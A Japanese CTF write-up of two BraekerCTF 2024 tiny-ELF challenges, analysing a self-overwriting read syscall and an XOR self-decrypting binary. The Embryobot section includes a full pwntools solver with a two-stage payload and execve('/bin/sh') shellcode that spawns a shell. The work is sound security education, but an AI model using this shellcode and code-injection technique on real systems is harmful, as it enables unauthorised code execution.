All Articles

BraekerCTF 2024 Writeup

BraekerCTF 2024 に参加しました。Tiny ELF の問題が非常に面白かったので Writeup を書きます。

もくじ

Embryobot(Rev/Pwn)

“This part will be the head, ” the nurse explains. The proud android mother looks at her newborn for the first time. “However, ” the nurse continues, “we noticed a slight growing problem in its code. Don’t worry, we have a standard procedure for this. A human just needs to do a quick hack and it should continue to grow in no time.”

The hospital hired you to perform the procedure. Do you think you can manage?

The embryo is: f0VMRgEBAbADWTDJshLNgAIAAwABAAAAI4AECCwAAAAAAADo3////zQAIAABAAAAAAAAAACABAgAgAQITAAAAEwAAAAHAAAAABAAAA==

問題文として与えられた Base64 テキストをデコードすると、非常に小さいサイズの 32 bit ELF バイナリを入手できます。

image-20240225142119777

興味深いことに、ヘッダ内で定義されたエントリポイントのアドレスはファイルオフセット上で 0x23 でした。

image-20240225142508200

また、ELF ヘッダを含むすべての領域に書き込みと実行アクセス権限が割り当てられていることがわかります。

image-20240225150808957

どうやら、ELF ヘッダ内のバイナリを実行コードとして解釈させることでこのような小さなバイナリを作成しているようです。

このような Tiny ELF を作成するテクニックは以下のような記事にまとめられているようです。

参考:Tiny ELF Files: Revisited in 2021

参考:A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux

今回のバイナリは Ghidra ではうまくディスアセンブルすることができませんでしたが、IDA を使用すると以下のようなコードを取得できました。

image-20240225142935715

上記の通り、エントリポイントとして指定されたアドレスから ELF ヘッダ内のコードを呼び出し、以下のようなコードを実行していることがわかります。

mov eax, 3 ; システムコール番号3 (sys_read)
mov ebx, 0 ; ファイルディスクリプタ0 (標準入力)
pop ecx
xor cl,cl
mov edx,0x18
int 0x80
add al, [eax]
add eax,[eax]
add [eax],eax

ここでは、ssize_t read(int fd, void buf[.count], size_t count); であらわされる x86 の read システムコールが呼び出されます。

edx に 0x18 が格納されることから、入力が可能なサイズは 0x18 バイトに限定されます。

参考:read(2) - Linux manual page

ecx には通常入力されたバイト列を受け取るバッファのアドレスが指定されますが、pop ecx; xor cl,cl というコードで取得できるアドレスが何を指すのかよくわかっていませんでした。

まず、pop ecx が実行されたときのスタックトップに何の値が入っているのか考えます。

このコードはエントリポイントから call で呼び出されているので、スタックトップには現在 return 先のアドレス(0x08048028) が格納されていると想定されます。

さらに、xor cl,cl で ecx のアドレスの下位の 1 バイト分のみを 0 に置き換えます。

これによって、pop ecx; xor cl,cl は ecx レジスタにイメージベースを格納する処理であることがわかります。

つまり、read で受け取った一連の入力はイメージベース 0x8048000 から 0x18 バイト分の領域まで格納されると考えられます。

システムコールを発行した次の実行アドレスは 0x8048010 なので、read でプロセスメモリ内の実行コードをオーバーライドすることで、任意の命令を実行できそうだということがわかります。

しかし、この程度のサイズの命令ではシェルコードを発行できません。

image-20240225144538133

この脆弱性を利用してどのようにシェルを取得するか考えます。

ここまでの想定が正しいか、gdb で動的解析を行いながら調べていきたいと思いますが、今回の問題バイナリは特殊な構造のためか、gdb で解析が上手く行えませんでした。

そこで、以下のアセンブリをビルドしたプログラムに対して解析を行います。

; nasm -f elf32 tmp.asm && ld -m elf_i386 -o tmp tmp.o
section .text
global _start

vlun:
    mov eax, 3              ; システムコール番号3 (sys_read)
    mov ebx, 0              ; ファイルディスクリプタ0 (標準入力)
    pop ecx
    xor cl,cl
    mov edx,0x18
    int 0x80
    add al, [eax]
    add eax,[eax]
    add [eax],eax

_start:
    call vlun
    xor al, 0

ただし、nasm -f elf32 tmp.asm && ld -m elf_i386 -s -o tmp tmp.o でビルドした状態では ELF ヘッダの領域に書き込みと実行権限がなく、問題バイナリと同じような挙動を再現できません。

そこで、ELF ヘッダのオフセット 0x1C から取得したプログラムヘッダの先頭に 32bit ELF のフラグが格納されるオフセット 0x18 を足した値の 0x4c のバイト値を読み取りフラグの 0x4 から 0x7 に置き換えます。

image-20240225152627792

さらに、同じ要領で 2 番目のプログラムヘッダの値も書き換えます。

参考:Executable and Linkable Format - Wikipedia

これによって、作成したプログラムでも ELF ヘッダの領域と .text セクションに書き込みと実行権限を割り当てることができました。

image-20240225152717195

このプログラムを gdb で解析すると、想定通りシステムコール発行時の書き込みバッファアドレスがベースアドレスに指定されていることを確認できます。

image-20240225152235545

これに、python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"*0 x18)' > data で作成したバイトデータを入力として与えてみます。

すると、以下のように入力値でコードの置き換えに成功したことを確認できます。

image-20240225153156591

シェルを取得する糸口を見つけるため、システムコールを発行した状態でレジスタに何の値が格納されているかを考えることにします。

システムコールを発行した直後の時点では、ecx にベースアドレス、edx に 3 が格納されたままになっているはずです。

eax には read の戻り値である入力文字のサイズが格納されます。

ここから、例えば jmp ecx を発行すると、オーバーライドした 0x18 バイト分の領域の先頭にジャンプして任意のコード実行につなげられそうだということがわかります。

実際にエクスプロイトが通るか確認するため、試しに以下のコードを実行してみます。

ここでは、b'\x90\x90\x90\x90\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xff\xe1' という 18 バイト分のシェルコードをプログラムに送り込んでいます。

edx と ecx レジスタはバイトサイズの都合で変えていませんが、sys_write システムコールを使用して ecx に格納されたままになっているベースアドレスのデータを標準入力に出力するコードを記載しています。

from pwn import *

# p = remote("0.cloud.chals.io", 20922)
p = process("./download.elf")

payload = asm(
"""
    nop
    nop
    nop
    nop
    mov eax, 4
    mov ebx, 1
    int 0x80
    jmp ecx
""")

p.send(payload)
p.interactive()

このスクリプトを実行してみると、nop から始まるバイトデータが標準入力に返されることを確認できます。

image-20240225172502405

これで、jmp ecx による任意のコード実行が可能なことを確認できました。

最後に、以下の Solver スクリプトでシェルを取得します。

ここでは、jmp ecx の次の命令アドレスに再度 read で読み取ったデータを 0x7f バイト分書き込むことで、シェルを取得するためのシェルコード実行につなげています。

from pwn import *

# p = remote("0.cloud.chals.io", 20922)
p = process("./download.elf")

payload = asm(
"""
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    mov al, 0x3
    add ecx,0x12
    mov dl, 0x7f
    int 0x80
    jmp ecx
""")

# print(shellcraft.sh())
shellcode = asm(
"""
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80
""")

p.send(payload)
p.send(shellcode)
p.interactive()

この Solver を実行することで Flag を取得できます。

image-20240225172815610

Binary shrink(Rev)

After hearing about young computer problems, you have decided to become a computer shrink. Your first patient is a robot elf.

“A little machine dream I keep having, ” she says. “But when it is over, I always forget the end. I’ve captured the dream’s program, but I don’t dare look”.

Can you run the program for her? Are you able to figure out what’s in her memory right before execution stops?

問題バイナリとして与えられた ELF ファイルを実行すると、>:) という文字列が出力されるのみでした。

image-20240225173104444

問題文を読むと、プログラム実行中のメモリに Flag が書き込まれるようです。

こんなの gdb で余裕、、、かと思いきや、前問と同じく Tiny ELF のテクニックを使用しており、gdb ではうまく解析ができませんでした。

image-20240225173321665

エントリポイントは 0x8048009 になっています。

image-20240225173630827

このままだとデコンパイラでも objdump でも正しいコードを取得できないので、dd if=binary_shrink of=outdata bs=1 skip=9 で先頭部分をカットした上で objdump -D -Mintel,x86-64 -b binary -m i386 outdata によりアセンブリを取得します。

とりあえず元ファイルのオフセット 58(0x31+9) のアドレスをコールするところから始まっているようですが、その後の処理は上手くディスアセンブルされていないようです。

image-20240225180035936

そこで次は、dd if=binary_shrink of=outdata bs=1 skip=58 コマンドで 58(0x31+9) バイト目からのデータを取得して解析します。

image-20240225180121067

恐らくスタックトップに入っているエントリポイントの次の実行アドレスを rdx に pop した後、rax に rdx を格納し、その後 0x78(0x3e+58) のアドレスに jmpしているようです。

同じ要領で、dd if=binary_shrink of=outdata bs=1 skip=120 で抜き出した次のコードをディスアセンブルします。

image-20240225180248116

いくつかの処理を行った後に XOR の演算をループしているようです。

実際にビルドできるコードではないですが、ここまでの一連のコードを書き起こしてみました。

section .text
global _start

first:
    pop    rdx
    mov    rax,rdx
    jmp    second

second:
    add    rdx,0x91
    sub    rax,0xe
    mov    rsi,rax
    xor    ecx,ecx
    mov    cl,0x56
    mov    rax,rsi
point:
    mov    sil,BYTE PTR [rax]
    xor    BYTE PTR [rdx],sil
    xor    QWORD PTR [rdx],0x42
    inc    rdx
    inc    rax
    loop   point

_start:
    call first

rax と rdx にはスタックトップに存在していたエントリポイントの次の命令アドレスが格納されているはずです。

そのため、sub rax,0xe にて rax にイメージベースのアドレスが格納され、add rdx,0x91 では rdx に イメージベース + 0xe + 0x91 のアドレスが格納されそうです。

ループ区間では、rax と rdをインクリメントしながら、rax のアドレスの値を 0x42 で XOR して rdx のアドレスに書き込む処理を 0x56 回行うようです。

実際にこのようなバイナリ操作を行う以下の Solver を作成しました。

with open("binary_shrink", "rb") as f:
    data = bytearray(f.read()) + bytearray([0 for i in range(0x100)])

rax = 0
rdx = 0xe + 0x91

with open("generated_binary", "wb") as f:
    for i in range(0x56):
        data[rdx] = data[rdx] ^ data[i]
        data[rdx] = data[rdx] ^ 0x42
        rdx += 1
    
    f.write(data)

ここで出力したバイナリの命令を読むと、bad data だった箇所が jmp 命令に置き換えられています。

image-20240225192344388

jmp 先のコードを読むと、0xa293a3e つまり ):>\n を出力するコードでした。

image-20240225192657626

このコードが実行されているタイミングのメモリ情報は、復号されたバイナリをプロセスメモリに展開した状態と一致するので、このバイナリデータから Flag を取得できました。

image-20240225192737962

まとめ

Tiny ELF については全く知見がなかったので勉強になりました。